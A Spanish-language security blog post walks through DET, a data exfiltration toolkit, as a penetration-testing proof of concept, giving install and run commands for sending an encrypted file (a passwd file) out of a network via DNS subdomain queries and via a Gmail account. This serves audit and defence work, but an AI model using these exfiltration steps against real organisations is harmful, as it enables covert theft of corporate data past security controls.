4 jul 2016

Data Exfiltration Toolkit (DET): Extrayendo información corporativa

Cuando un auditor tiene una prueba de Data Exfiltration puede ser una tarea realmente divertida. En algunos procesos de hacking ético se solicita al proveedor que se intente sacar información del interior de una organización con el objetivo de comprobar que los sistemas implantados en la empresa para evitar la fuga de información por parte de un empleado funcionan. Lógicamente, el atacante siempre tendrá cierta ventaja, ya que hoy en día existen diversos canales y vías para extraer información, no pensemos solamente en el mundo físico con pendrives. La encapsulación de información dentro de protocolos comunes, o el uso de canales encubiertos pueden ser las vías más utilizadas para extraer información de una organización. 

DET, Data Exfiltration Toolkit, es una herramienta que permite realizar Data Exfiltration utilizando uno o varios canales a la vez. La idea que está detrás de DET es la de disponer de una herramienta genérica que facilite encapsular información dentro de un protocolo o utilizar servicios de terceros, por ejemplo Gmail o Twitter, para extraer la información. DET puede ser descargado desde su sitio web en Github, dónde además podemos encontrar diversas pruebas de concepto muy interesantes. 

En el artículo de hoy realizaremos una prueba de concepto de esta herramienta para ver cómo se puede sacar información de una red a través del uso de protocolos comunes. Para descargar DET se debe ejecutar git clone https://github.com/sensepost/DET.git, y posteriormente, ejecutar pip install –r requirements.txt –user. Esta última instrucción descargará e instalará todas las dependencias referentes a Python, que es el lenguaje en el que DET está implementado.

PoC 1: Enviando un fichero a través del protocolo DNS con DET

Las opciones que DET proporciona son realmente interesantes. Si se echa un vistazo rápido a las diversas opciones se puede observar las siguientes:
  • La posibilidad de configurar un fichero dónde se indican los parámetros que tanto el cliente y servidor deben conocer. Por ejemplo, el contenido se cifra con AES-256 a través de una clave que se indica en el fichero de configuración.
  • La opción de extraer un directorio o un fichero en concreto.
  • La posibilidad de indicar el plugin o listado de éstos que se quiere utilizar. Esto es útil si no queremos lanzar todos los plugins.
  • Los plugins disponibles en estas primeras versiones de DET son: HTTP, Google Docs, DNS, Gmail, TCP, UDP, Twitter o el protocolo ICMP. Además, existen unos scripts escritos para Powershell para llevar a cabo este tipo de técnicas desde entornos Microsoft.
DET proporciona dos roles diferenciados. La máquina que se encuentre en el exterior de la organización hará las funciones de servidor y será el que espere recibir el fichero “robado” de la organización. Por otro lado, el rol cliente será el encargado de generar la conexión desde el interior y utilizar los diversos plugins para enviar el fichero o carpeta hacia el servidor. 

Lo primero es hablar del fichero config.json. DET trae un json de prueba denominado config-sample.json, con el que se puede ver los diferentes protocolos, denominados plugins en este contexto, y las diferentes configuraciones de estos. 


Como se puede visualizar en la imagen, en el caso del protocolo DNS, se puede utilizar haciendo peticiones al dominio pablo.com, a la dirección IP 192.168.56.103 y el puerto 53. El dominio, en este caso, se utiliza a modo de clave. Otra parte interesante del archivo config.json es el atributo AES_KEY, dónde se indica el valor de la clave AES que deben conocer tanto servidor como cliente para cifrar el contenido. Además, se puede ver un randomize entre el número de peticiones enviados, para intentar evitar que elementos de seguridad bloqueen o detecten el patrón. 


Ahora, se procede a configurar el servidor en una máquina Linux. Para este caso sencillo, se utilizan los parámetros –L para indicar que el modo de ejecución es servidor, es decir, se recibirá el fichero “robado” en esta máquina. Se utiliza el parámetro –c para indicar la configuración de los plugins y cuál es la clave de cifrado utilizada. Y, por último, se añade el parámetro –p y se indica dns. Con esto se le dice al servidor que solo configure el plugin de DNS, que será el protocolo utilizado para enviar la información.


Ahora, el cliente empleará el protocolo DNS para realizar queries del siguiente modo:
  • Query 1. [Contenido Cifrado].pablo.com.
  • Query 2. [Contenido Cifrado].pablo.com
  • Query N. [Contenido Cifrado].pablo.com.
Para configurar esto se debe ejecutar la siguiente instrucción python det.py –c ./config.json –f [fichero a extraer de la organización] –p dns.


Si analizamos con Wireshark la red podemos ver un gran número de queries repartidas en el tiempo y por bloques de bytes. El truco en este caso está en los subdominios utilizados junto al dominio pablo.com. En la siguiente imagen se puede ver una captura de queries que se envían hacia al servidor, cada subdominio es un “trozo” de fichero que el servidor se encargará de descifrar y procesar. 


Una vez todo el fichero es enviado hasta el servidor, éste se encarga de recuperarlo, unirlo y descifrarlo. El resultado es el fichero original, pero ya fuera de los dominios de la organización. Por supuesto, existen medidas para detectar este tipo de comportamientos, pero son medidas de seguridad más avanzadas que las comunes. La utilización de protocolos para encapsular información y poder sacarla de una organización es una vía viable y muy efectiva, aunque por supuesto el éxito de la operación dependerá del tiempo necesario y las medidas de seguridad de las que conste la empresa. 


El fichero queda almacenado en el servidor con el nombre [original].[fecha]. Tal y como se puede visualizar en la imagen, se obtiene el fichero passwd original y totalmente legible para cualquier usuario del exterior. El robo y la extracción de información del interior de la organización ha sido llevado a cabo de forma silenciosa.


PoC 2: Robando información a través de la cuenta de Gmail

En esta segunda prueba de concepto el escenario es muy similar. La única diferencia es que el cliente se conectará al puerto 587 de Gmail para dejar en su bandeja de entrada distintos emails con trozos cifrados de archivo y codeados en Base64. Hay que modificar el fichero config.json e indicar el usuario y contraseña de la cuenta de Gmail. 

Una vez realizado este paso hay que lanzar el servidor con la configuración adecuada de Gmail. Para ello se indica con el parámetro –p que el plugin a utilizar es el de Gmail y solo ese.

 
El cliente se invoca de forma similar a cómo se hizo en la prueba de concepto anterior, salvo que la configuración del json ha cambiado en el plugin de Gmail y que se indica que solo se quiere utilizar el plugin de Gmail. Es bastante interesante ver cómo se indica que se envían emails a uno mismo para ir dejando la información en los distintos correos electrónicos.


Si se entrase a través del navegador a la cuenta de Gmail utilizada para este ejercicio se podría ver cómo hay diferentes correos electrónicos dónde se puede ver un contenido en base64, el cual son trozos de ficheros. 


Esta vía de Data Exfiltration es una manera sencilla y limpia utilizando un tercero de confianza, como puede ser Gmail, para extraer dicha información. ¿Y en tu empresa? ¿Qué medidas tienes para evitar este robo de información o extracción de información sensible corporativa?

No hay comentarios:

Publicar un comentario